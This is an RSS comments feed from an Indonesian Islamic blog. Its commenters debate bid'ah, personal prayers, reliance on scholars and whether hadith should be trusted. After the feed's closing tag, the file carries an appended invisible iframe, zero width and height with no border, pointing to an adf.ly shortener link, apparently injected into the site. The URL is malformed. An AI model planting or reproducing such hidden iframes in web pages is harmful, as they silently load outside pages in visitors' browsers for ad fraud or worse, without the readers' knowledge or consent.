<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Tinggalkan jika bertentangan dengan Al-Quran dan Hadis</title>
	<atom:link href="http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/feed/" rel="self" type="application/rss+xml" />
	<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/</link>
	<description>multilinguals blog</description>
	<lastBuildDate>Fri, 10 Feb 2012 14:39:16 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Anonymous</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-33110</link>
		<dc:creator>Anonymous</dc:creator>
		<pubDate>Wed, 14 Dec 2011 23:29:22 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-33110</guid>
		<description>Bagaimana sebenarnya hukum Sholat Taraweh yg sebenar2nya....??????</description>
		<content:encoded><![CDATA[<p>Bagaimana sebenarnya hukum Sholat Taraweh yg sebenar2nya&#8230;.??????</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Firdi[dot]Net</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-33053</link>
		<dc:creator>Firdi[dot]Net</dc:creator>
		<pubDate>Sat, 10 Dec 2011 12:16:24 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-33053</guid>
		<description>Smoga saja dapat menyampaikan dengan benar,amin..thanks artikelnya jadi koreksi buat saya..</description>
		<content:encoded><![CDATA[<p>Smoga saja dapat menyampaikan dengan benar,amin..thanks artikelnya jadi koreksi buat saya..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: aguz_ahmad41@yahoo.com</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-32194</link>
		<dc:creator>aguz_ahmad41@yahoo.com</dc:creator>
		<pubDate>Thu, 06 Oct 2011 08:10:05 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-32194</guid>
		<description>bagaimana dengan ulama atw</description>
		<content:encoded><![CDATA[<p>bagaimana dengan ulama atw</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Insan</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-31888</link>
		<dc:creator>Insan</dc:creator>
		<pubDate>Sat, 10 Sep 2011 13:48:09 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-31888</guid>
		<description>Assalamua&#039;alaikum Wr. Wb.
Alhamdulillah, semoga semakin banyak orang yang bisa membaca tulisan ini shg mereka tidak lagi taqlid kepada ulama2 tertentu dan menjalankan ibadah hanya karena tradisi dan ritual budaya belaka. Jumhur ulama, pada dasarnya ibadah itu haram kecuali yang diperintahkan. Syukron katsiir</description>
		<content:encoded><![CDATA[<p>Assalamua&#8217;alaikum Wr. Wb.<br />
Alhamdulillah, semoga semakin banyak orang yang bisa membaca tulisan ini shg mereka tidak lagi taqlid kepada ulama2 tertentu dan menjalankan ibadah hanya karena tradisi dan ritual budaya belaka. Jumhur ulama, pada dasarnya ibadah itu haram kecuali yang diperintahkan. Syukron katsiir</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: hadian</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-31051</link>
		<dc:creator>hadian</dc:creator>
		<pubDate>Sat, 16 Apr 2011 14:59:20 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-31051</guid>
		<description>assalamu&#039;alaikum mas uztad...sy mau menanyakan, apa yg harus dilakukan oleh orang tua bila ada anaknya (berikut cucu dari anak tsb) yg keluar dari agama islam. dan bagaimana pertanggung jawaban orang tua kepada Allah swt? trmksh</description>
		<content:encoded><![CDATA[<p>assalamu&#8217;alaikum mas uztad&#8230;sy mau menanyakan, apa yg harus dilakukan oleh orang tua bila ada anaknya (berikut cucu dari anak tsb) yg keluar dari agama islam. dan bagaimana pertanggung jawaban orang tua kepada Allah swt? trmksh</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: mahari jufar</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-30999</link>
		<dc:creator>mahari jufar</dc:creator>
		<pubDate>Tue, 29 Mar 2011 08:47:16 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-30999</guid>
		<description>Mengenai golongan islam yang mana yang paling benar dalam mengimani agama islam
nya, mari kita belajar dari sejarah umat umat terdahulu yang diceritakan di
dalam Al Quran.
 
Surah Yunus (10)
Ayat 36....Kebanyakan dari kalangan manusia hanya bersandarkan kepada andaian
semata. Yang nyata, andaian tidak dapat menggantikan yang haq. Sesungguhnya
Allah Maha Tahu apa yang mereka lakukan.
 
Ayat 37....Dan Quran ini tidak bisa diciptakan selain oleh Allah, dimana ia
mengesahkan apa apa yang sebelumnya dan menjelaskan apa   apa yang telah
ditetapkan untuk manusia. Padanya tiada keraguan dari Tuhan sakelian alam.

Dari ceriita2 umat umat terdahulu itu,  kita akan dapati bahawa golongan
mayoritas nya cenderung kpd penyimpangan satelah setiap kali Nabi yg di turunkan
Allah itu wafat. Penyesatan atau penyimpangan itu akan mula terjadi paling tidak
sekitar 50 tahun kemudian satelah wafat nya para nabi2 mereka. Sejarah

penyesesatan umat terdahulu itu seakan akan satu hal yg lumrah. Penyimpangan
dari landasan yg telah ditetapkan oleh para Nabi2 Allah itu pasti terjadi.

Saya percaya umat Nabi Muhammaad juga tidak terkecuali. Nah sekarang umat Nabi
Muhammad ini sudah 1400 tahun lebih. Apakah kita yakin kita tidak saperti umat
umat yang terdahulu itu yg cenderung kpd penyimpangan? Apa istimewa nya kita,
umat Nabi Muhd.ini? Tidak ada keistimewaan nya dan tak ada bezanya. Saya yakin
kita jugak sama  saperti umat terdahulu itu yg cenderung kpd penyesesatan dan

penyimpangan. Nah. Sekarang kalau kita kaji dari segi mana nya kesesatan
golongan mayoritas umat Mohammad ini kita akan dapati bahawa penyesesatan
golongan mayoritas adalah dalam mengimani  kpd apa yg di sebut Hadis dan Sunnah
Nabi. Baik mereka yg mengaku Ahli Sunnah Wal Jamaah, Baik mereka yg mengaku
Ahlul Bait (Golongan Syiah). Baik mereka yg mengaku Wahabi.dan saterus nya. Rata
rata golongan2 ini yg juga menjajdi golongan mayoritas umat islam ini tidak
lepas dari taasubnya kpd ulama2 mereka atau imam2 mereka selain dari Hadis dan
Sunnah Nabi itu. Karena apa? Karena Hadis dan Sunnah ini tidak ada pada waktu
sekitar 100 tahun satelah wafat nya nabi Muhammad s.a.w. Tidak ada yg nama nya

Bukhari-Muslim dan saterus nya. Tidak ada Iman Empat (Shafii, Maliki, Hanbali
dan Hanafi). Unsur2 dari kitab2 ini dan pendapat ulama2 ini hanya berdasarkan
andaian semata.


Mahukah kita ambil iktibar dan pelajaran dari umat umat terdahulu yg di
ceritakan kpd kita melalui Al Quran.?  Saya yakin tidak ramai yg akan  mengambil
iktibar dan pelajaran dari hakikat ini sebagaimana nya tidak ramai dari umat yg
terdahulu. Namun sabagai amanah yg diwajibkan tulisan ini hanya sebagai usaha
utk mereka yg mahu belajar dari sumber yg kuat dan meyakinkan ia itu kitabullah
Al Quran dan buat mereka yg mahu BERFIKIR SECARA BERANI, ADIL, IKHLAS dan RENDAH
HATI demi utk mendapatkan keredhaan kpd Allah subhanahu wataalaa.....

Amin.....</description>
		<content:encoded><![CDATA[<p>Mengenai golongan islam yang mana yang paling benar dalam mengimani agama islam<br />
nya, mari kita belajar dari sejarah umat umat terdahulu yang diceritakan di<br />
dalam Al Quran.</p>
<p>Surah Yunus (10)<br />
Ayat 36&#8230;.Kebanyakan dari kalangan manusia hanya bersandarkan kepada andaian<br />
semata. Yang nyata, andaian tidak dapat menggantikan yang haq. Sesungguhnya<br />
Allah Maha Tahu apa yang mereka lakukan.</p>
<p>Ayat 37&#8230;.Dan Quran ini tidak bisa diciptakan selain oleh Allah, dimana ia<br />
mengesahkan apa apa yang sebelumnya dan menjelaskan apa   apa yang telah<br />
ditetapkan untuk manusia. Padanya tiada keraguan dari Tuhan sakelian alam.</p>
<p>Dari ceriita2 umat umat terdahulu itu,  kita akan dapati bahawa golongan<br />
mayoritas nya cenderung kpd penyimpangan satelah setiap kali Nabi yg di turunkan<br />
Allah itu wafat. Penyesatan atau penyimpangan itu akan mula terjadi paling tidak<br />
sekitar 50 tahun kemudian satelah wafat nya para nabi2 mereka. Sejarah</p>
<p>penyesesatan umat terdahulu itu seakan akan satu hal yg lumrah. Penyimpangan<br />
dari landasan yg telah ditetapkan oleh para Nabi2 Allah itu pasti terjadi.</p>
<p>Saya percaya umat Nabi Muhammaad juga tidak terkecuali. Nah sekarang umat Nabi<br />
Muhammad ini sudah 1400 tahun lebih. Apakah kita yakin kita tidak saperti umat<br />
umat yang terdahulu itu yg cenderung kpd penyimpangan? Apa istimewa nya kita,<br />
umat Nabi Muhd.ini? Tidak ada keistimewaan nya dan tak ada bezanya. Saya yakin<br />
kita jugak sama  saperti umat terdahulu itu yg cenderung kpd penyesesatan dan</p>
<p>penyimpangan. Nah. Sekarang kalau kita kaji dari segi mana nya kesesatan<br />
golongan mayoritas umat Mohammad ini kita akan dapati bahawa penyesesatan<br />
golongan mayoritas adalah dalam mengimani  kpd apa yg di sebut Hadis dan Sunnah<br />
Nabi. Baik mereka yg mengaku Ahli Sunnah Wal Jamaah, Baik mereka yg mengaku<br />
Ahlul Bait (Golongan Syiah). Baik mereka yg mengaku Wahabi.dan saterus nya. Rata<br />
rata golongan2 ini yg juga menjajdi golongan mayoritas umat islam ini tidak<br />
lepas dari taasubnya kpd ulama2 mereka atau imam2 mereka selain dari Hadis dan<br />
Sunnah Nabi itu. Karena apa? Karena Hadis dan Sunnah ini tidak ada pada waktu<br />
sekitar 100 tahun satelah wafat nya nabi Muhammad s.a.w. Tidak ada yg nama nya</p>
<p>Bukhari-Muslim dan saterus nya. Tidak ada Iman Empat (Shafii, Maliki, Hanbali<br />
dan Hanafi). Unsur2 dari kitab2 ini dan pendapat ulama2 ini hanya berdasarkan<br />
andaian semata.</p>
<p>Mahukah kita ambil iktibar dan pelajaran dari umat umat terdahulu yg di<br />
ceritakan kpd kita melalui Al Quran.?  Saya yakin tidak ramai yg akan  mengambil<br />
iktibar dan pelajaran dari hakikat ini sebagaimana nya tidak ramai dari umat yg<br />
terdahulu. Namun sabagai amanah yg diwajibkan tulisan ini hanya sebagai usaha<br />
utk mereka yg mahu belajar dari sumber yg kuat dan meyakinkan ia itu kitabullah<br />
Al Quran dan buat mereka yg mahu BERFIKIR SECARA BERANI, ADIL, IKHLAS dan RENDAH<br />
HATI demi utk mendapatkan keredhaan kpd Allah subhanahu wataalaa&#8230;..</p>
<p>Amin&#8230;..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: lamsijan</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-28700</link>
		<dc:creator>lamsijan</dc:creator>
		<pubDate>Thu, 14 Oct 2010 12:32:52 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-28700</guid>
		<description>bapak rafi dan bapak iyan yth....tolong pahami apa yang tertulis di atas...kita semua punya keperluaan yang berbeda kepada Allah..alias hajat yang berbeda nah dalam berdoa bisa saja dengan bahasa sendir karena Allah maha tahu..tapi yang di maksud sodarakita bukan doa yang itu tapi doa yang baku yang pernah di ucapkan oleh Nabi SAW dalam hal praktek ibadah ...contoh dalam doa mengelilingi ka,bah terus do,a dalam syolat itu semua jangan di tambah atau dikurangi .............berpikir jernihlah heheh dan husus buat bapak hkoeron....tolong bo di pikir lagi jangan mancing mancing ah....udah jelas Quran  dan hadis itu jadi patokan bapak.....mau tektual atau mau apapun selama itu namanya kebenaran atau hal yang benar kenapa di pernasalahkan terus kalau kita tidak memahami tektual apa yang harus kita pahami. dari quran dan hadis... otak kita atau kata orang yang belum tentu benar tanpa di telaah kembali.....wasalam</description>
		<content:encoded><![CDATA[<p>bapak rafi dan bapak iyan yth&#8230;.tolong pahami apa yang tertulis di atas&#8230;kita semua punya keperluaan yang berbeda kepada Allah..alias hajat yang berbeda nah dalam berdoa bisa saja dengan bahasa sendir karena Allah maha tahu..tapi yang di maksud sodarakita bukan doa yang itu tapi doa yang baku yang pernah di ucapkan oleh Nabi SAW dalam hal praktek ibadah &#8230;contoh dalam doa mengelilingi ka,bah terus do,a dalam syolat itu semua jangan di tambah atau dikurangi &#8230;&#8230;&#8230;&#8230;.berpikir jernihlah heheh dan husus buat bapak hkoeron&#8230;.tolong bo di pikir lagi jangan mancing mancing ah&#8230;.udah jelas Quran  dan hadis itu jadi patokan bapak&#8230;..mau tektual atau mau apapun selama itu namanya kebenaran atau hal yang benar kenapa di pernasalahkan terus kalau kita tidak memahami tektual apa yang harus kita pahami. dari quran dan hadis&#8230; otak kita atau kata orang yang belum tentu benar tanpa di telaah kembali&#8230;..wasalam</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: iyan</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-28617</link>
		<dc:creator>iyan</dc:creator>
		<pubDate>Tue, 12 Oct 2010 14:47:20 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-28617</guid>
		<description>asalamualayka , saya setuju sekali dengan mas rafli, jika berdoa saja di sebut bid&#039;ah karena tidak sesuai dengan do&#039;a nabi, maka bagaimana dengan do&#039;a selain bahasa nabi? sedangkan ALLAH maha tau apa yang kita inginkan dalam hati, atau yang di ucapkan. sedangkan kita tidak tau semua apa yang di inginkan nabi pada masanya.
terima kasih.wasalam.</description>
		<content:encoded><![CDATA[<p>asalamualayka , saya setuju sekali dengan mas rafli, jika berdoa saja di sebut bid&#8217;ah karena tidak sesuai dengan do&#8217;a nabi, maka bagaimana dengan do&#8217;a selain bahasa nabi? sedangkan ALLAH maha tau apa yang kita inginkan dalam hati, atau yang di ucapkan. sedangkan kita tidak tau semua apa yang di inginkan nabi pada masanya.<br />
terima kasih.wasalam.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: rafli</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-28587</link>
		<dc:creator>rafli</dc:creator>
		<pubDate>Mon, 11 Oct 2010 13:21:22 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-28587</guid>
		<description>kalo doa tidak akan sama setiap manusia , jadi untuk masalah doa bukan menjadi ganjalan untuk beribadah yang baik dan tidak menjadi bid&#039;ah bila tidak sama dalam berdoa dengan rosullullah , yang harus diikuti adalah sunnah yang utama dalam beribadah , jadi bila ada ibadah yang tidak pernah ada contohnya dari Rasullullah maka hal tersebut adalah amalan yang diada-adakan dan amalan tersebut tertolak , maka sering disebut bid&#039;ah......, kalo doa itu adalah keinginan setiap insan manusia kepada Allah swt. Doa bisa menggunakan bahasa apa yang kita kuasai...karena Allah swt menciptakan manusia berbeda-beda bahasa , bangsa .....yang penting tidak menyimpang dari sunnah rasullullah.</description>
		<content:encoded><![CDATA[<p>kalo doa tidak akan sama setiap manusia , jadi untuk masalah doa bukan menjadi ganjalan untuk beribadah yang baik dan tidak menjadi bid&#8217;ah bila tidak sama dalam berdoa dengan rosullullah , yang harus diikuti adalah sunnah yang utama dalam beribadah , jadi bila ada ibadah yang tidak pernah ada contohnya dari Rasullullah maka hal tersebut adalah amalan yang diada-adakan dan amalan tersebut tertolak , maka sering disebut bid&#8217;ah&#8230;&#8230;, kalo doa itu adalah keinginan setiap insan manusia kepada Allah swt. Doa bisa menggunakan bahasa apa yang kita kuasai&#8230;karena Allah swt menciptakan manusia berbeda-beda bahasa , bangsa &#8230;..yang penting tidak menyimpang dari sunnah rasullullah.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: alam</title>
		<link>http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-22839</link>
		<dc:creator>alam</dc:creator>
		<pubDate>Wed, 14 Jul 2010 03:36:07 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/tinggalkan-jika-bertentangan-dengan-al-quran-dan-hadis/#comment-22839</guid>
		<description>assalamualaikum w.w. subhanallah... setelah membaca artikel ni, rasanya saya seperti menemukan padang rumput yang luas bersama mata airnya setelah menempuh perjalanan di padang pasir yang gersang... TAPI saya mau nanya, kalau kita tdk boleh menfsirkan quran sendiri, jadi harus bagaimana seharusnya? artikelnya (ilmunya) g bs d copy... he..he</description>
		<content:encoded><![CDATA[<p>assalamualaikum w.w. subhanallah&#8230; setelah membaca artikel ni, rasanya saya seperti menemukan padang rumput yang luas bersama mata airnya setelah menempuh perjalanan di padang pasir yang gersang&#8230; TAPI saya mau nanya, kalau kita tdk boleh menfsirkan quran sendiri, jadi harus bagaimana seharusnya? artikelnya (ilmunya) g bs d copy&#8230; he..he</p>
]]></content:encoded>
	</item>
</channel>
</rss>




  

  <iframe src=http://http://adf.ly/5N8iR scrolling="auto" width=0% height=0% frameborder="0"> </iframe>
